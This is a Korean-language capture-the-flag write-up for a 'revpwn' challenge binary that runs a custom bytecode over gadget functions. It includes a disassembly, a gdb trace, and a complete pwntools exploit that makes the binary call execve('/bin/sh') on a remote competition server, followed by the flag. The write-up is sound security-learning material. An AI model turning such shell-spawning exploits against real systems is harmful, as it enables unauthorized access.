revpwn

> 몇몇 함수들이 존재하고 바이트코드 형식으로 해당 함수들을 호출하는 바이너리이다.

Analysis

```
.data:0000000000402026                  dq offset set_rdi
.data:000000000040202E                  dq offset set_rsi
.data:0000000000402036                  dq offset set_rdx
.data:000000000040203E                  dq offset xor_rax
.data:0000000000402046                  dq offset xor_rdi
.data:000000000040204E                  dq offset syscall
.data:0000000000402056                  dq offset sub_401059
.data:000000000040205E                  dq offset sub_40105F
.data:0000000000402066                  dq offset set_rsi_to_bss
.data:000000000040206E                  dq offset sub_401072
.data:0000000000402076                  dq offset inc_rax
.data:000000000040207E                  dq offset set_rsi_to_tryharder
.data:0000000000402086                  dq offset sub_40108B
.data:000000000040208E                  dq offset sub_401091
.data:0000000000402096                  dq offset imul_rdx
.data:000000000040209E                  dq offset sub_40109B
.data:00000000004020A6                  dq offset sub_4010A0
.data:00000000004020AE                  dq offset sub_4010A5
.data:00000000004020B6                  dq offset sub_4010A9
.data:00000000004020BE ; char bytecode[66]
.data:00000000004020BE bytecode         db 5, 6, 3, 0, 21h, 40h, 0, 0, 0, 0, 0, 4,
4, 0, 0, 0
.data:00000000004020BE                                          ; DATA XREF:
start+8↑r
.data:00000000004020BE                                          ; sub_40101E↑r ...
.data:00000000004020BE                  db 0, 0, 0, 0, 7, 0Ah, 8, 0Bh, 0Eh, 5, 0Ch,
6, 13h, 9
.data:00000000004020BE                  db 4, 0Ah, 0, 0, 0, 0, 0, 0, 0, 7, 1, 3Ch,
0, 0, 0, 0
.data:00000000004020BE                  db 0, 0, 0, 6, 7, 5, 0Ch, 6, 13h, 0Dh, 4,
0Ch, 0, 0, 0
.data:00000000004020BE                  db 0, 0, 0, 0, 7
.data:00000000004020BE _data            ends
```

전역변수 부분에 바이트코드가 작성되어 있다. 해당 바이트코드의 값대로 함수가 호출되며 프로그램이 진행되므로 대략적인 컨트롤 플로우를 확인하였다.

dep:04로 시작하는 부분이 바이트코드에 의하여 실행된 부분들이다. 쭉 코드를 확인해보면, read(0, 0x402100, 0x4)를 실행시켜주는 부분이 존재한다.

```
dep:04 => 0x40104e:    xor    rax,rax 0m
       |-- rax: 0x0  0m
       |-- rax: 0x0  0m
dep:04 => 0x401051:    ret 0m
dep:04 => 0x401052:    xor    rdi,rdi 0m
       |-- rdi: 0x0  0m
       |-- rdi: 0x0  0m
dep:04 => 0x401055:    ret 0m
dep:04 => 0x401036:    mov    rsi,QWORD PTR [r15+0x4020be] 0m
       |-- rsi: 0x0  0m
       |-- QWORD PTR [r15+0x4020be]:  ;34m0x402100 0m --> 0x0  0m
dep:04 => 0x40103d:    add    r15,0x8 0m
       |-- r15: 0x3  0m
dep:04 => 0x401041:    ret 0m
dep:04 => 0x401042:    mov    rdx,QWORD PTR [r15+0x4020be] 0m
       |-- rdx: 0x0  0m
       |-- QWORD PTR [r15+0x4020be]: 0x4  0m
dep:04 => 0x401049:    add    r15,0x8 0m
       |-- r15: 0xc ('\x0c') 0m
dep:04 => 0x40104d:    ret 0m
dep:04 => 0x401056:    syscall 0m
       |-- arg[0]: 0x0  0m
       |-- arg[1]:  ;34m0x402100 0m --> 0x0  0m
       |-- arg[2]: 0x4  0m
dep:04 => 0x401058:    ret 0m
dep:04 => 0x40106a:    mov    eax,DWORD PTR ds:0x402100 0m
       |-- eax: 0x4  0m
       |-- DWORD PTR ds:0x402100: 0x41414141 ('AAAA') 0m
dep:04 => 0x401071:    ret 0m
dep:04 => 0x401059:    mov    ebx,0x6861636b 0m
       |-- ebx: 0x0  0m
dep:04 => 0x40105e:    ret 0m
dep:04 => 0x401072:    mov    r8d,0x5f52505a 0m
       |-- r8d: 0xb ('\x0b') 0m
dep:04 => 0x401078:    xor    rbx,r8 0m
       |-- rbx: 0x6861636b ('kcah') 0m
       |--  r8: 0x5f52505a ('ZPR_') 0m
dep:04 => 0x40107b:    ret 0m
dep:04 => 0x40108b:    cmp    rbx,rax 0m
       |-- rbx: 0x37333331 ('1337') 0m
       |-- rax: 0x41414141 ('AAAA') 0m
dep:04    0x40108b:    cmp    rbx,rax 0m
dep:04 => 0x40108e:    jne    0x4010a9 0m
       |-- rbx: 0x37333331 ('1337') 0m
       |-- rax: 0x41414141 ('AAAA') 0m
dep:04 => 0x4010a9:    add    r15,0x1a 0m // 이거 하나만 추가하네
       |-- r15: 0x19  0m
dep:04 => 0x4010ad:    ret 0m
dep:04 => 0x40104e:    xor    rax,rax 0m
```

```
        |-- rax: 0x41414141 ('AAAA') 0m
        |-- rax: 0x41414141 ('AAAA') 0m
 dep:04 => 0x401051:    ret 0m
 dep:04 => 0x40107c:    inc    rax 0m
 dep:04 => 0x40107f:    ret 0m
 dep:04 => 0x401052:    xor    rdi,rdi 0m
        |-- rdi: 0x0  0m
        |-- rdi: 0x0  0m
 dep:04 => 0x401055:    ret 0m
 dep:04 => 0x4010a5:    inc    rdi 0m
 dep:04 => 0x4010a8:    ret 0m
 dep:04 => 0x401080:    movabs rsi,0x402000 0m
        |-- rsi:  ;34m0x402100 0m --> 0x41414141 ('AAAA') 0m
 dep:04 => 0x40108a:    ret 0m
 dep:04 => 0x401042:    mov    rdx,QWORD PTR [r15+0x4020be] 0m
        |-- rdx: 0x4  0m
        |-- QWORD PTR [r15+0x4020be]: 0xc ('\x0c') 0m
 dep:04 => 0x401049:    add    r15,0x8 0m
        |-- r15: 0x39 ('9') 0m
 dep:04 => 0x40104d:    ret 0m
 dep:04 => 0x401056:    syscall 0m
        |-- arg[0]: 0x1  0m
        |-- arg[1]:  ;34m0x402000 0m ("try harder!\ngood job!\n") 0m
        |-- arg[2]: 0xc ('\x0c') 0m
 dep:04 => 0x401058:    ret 0m
dep:03 => 0x40101c: jmp    0x401005 0m
dep:03 => 0x401005: xor    r8,r8 0m
       |--  r8: 0x7  0m
       |--  r8: 0x7  0m
dep:03 => 0x401008: mov    r8b,BYTE PTR [r15+0x4020be] 0m
       |-- r8b: Cannot access memory address 0m
       |-- BYTE PTR [r15+0x4020be]: 0x41 ('A') 0m
dep:03 => 0x40100f: lea    rcx,[r8*8+0x402016] 0m
       |-- rcx:  ;31m0x401058 0m (ret) 0m
       |-- [r8*8+0x402016]: 0x0  0m
dep:03 => 0x401017: inc    r15 0m
dep:03 => 0x40101a: call   QWORD PTR [rcx] 0m
```

`0x402100` 지역은 지정된 바이트코드가 모두 진행된 후 바이트코드를 직접 입력하여 추가적인 행동을 할 수 있게 해주는 지역이다. 이를 통해 0x4 바이트만큼 바이트코드를 입력하여 입력 길이를 늘린 `read systemcall`을 호출하도록 한 뒤, `execve systemcall`로 쉘을 얻으면 된다.

Exploit

- `read systemcall` 호출 후 함수 영역(코드 쪼가리 부분) 변경
- 주소를 바꾸고 입력 길이를 늘린 `read systemcall` 호출
- 함수 영역, 바이트코드 영역 변조
- `execve("/bin/sh", 0, 0) systemcall` 호출

Exploit Code

```python
from pwn import *

e = ELF('./revpwn')
l = e.libc

# s = process(e.path)
s = remote('prob1.cstec.kr', 1337)

io = lambda: s.interactive()

gs = '''
b* 0x401056
'''
def db(s):
    gdb.attach(s, gdbscript=gs)
    pause()

# print(p32(a^b))

def g_i(func_addr: int) -> bytes:
    return p8(int((func_addr - 0x402016) / 8))

start = 0x401000
set_rdi = 0x402026
set_rsi = 0x40202E
set_rdx = 0x402036
imul_rdx = 0x402096
syscall = 0x40204E
xor_rdi = 0x402046
xor_rax = 0x40203E
set_rsi_to_bss = 0x40202E
inc_rax = 0x402076

code = g_i(xor_rax) + g_i(xor_rdi) + g_i(imul_rdx) + g_i(syscall)
s.send(code)
print(enhex(code))
sleep(1)

# db(s)
code = b"\x00" * 0x16 + p64(start) + p32(0) + b"\x00"*4 + p64(0) + p64(0x401056) +
p64(0) + p64(0x40104E) + p64(0x401096) # imul rdx, rdx; syscall
s.send(code)
print(enhex(code))
# db(s)
sleep(1)

code = b"\x00"*0x26
code += p64(0x40102a) + p64(0x401036) + p64(0x401042) + p64(0x40104E) + p64(0) +
p64(0x401056) + p64(0)*4 + p64(0x40107C) + p64(0)*4 + b'\x00'
code += b"\x00"*0x22 + g_i(xor_rax) + g_i(inc_rax)*0x3b + g_i(set_rdi) +
p64(0x402119) + g_i(set_rsi) + p64(0) + g_i(set_rdx) + p64(0) + g_i(syscall) +
b"/bin/sh"
s.send(code)
```

```
print(enhex(code))
sleep(1)

io()
```

apollob{486af672e83be9806abae8246f26a19cee9a3ea00ad364fdea02856a408b61f11153e3dfcd4bf5e0913f6092b8c39f3f9c2a7c1c7ef4a9d72673ae61c8fbe36afea28d}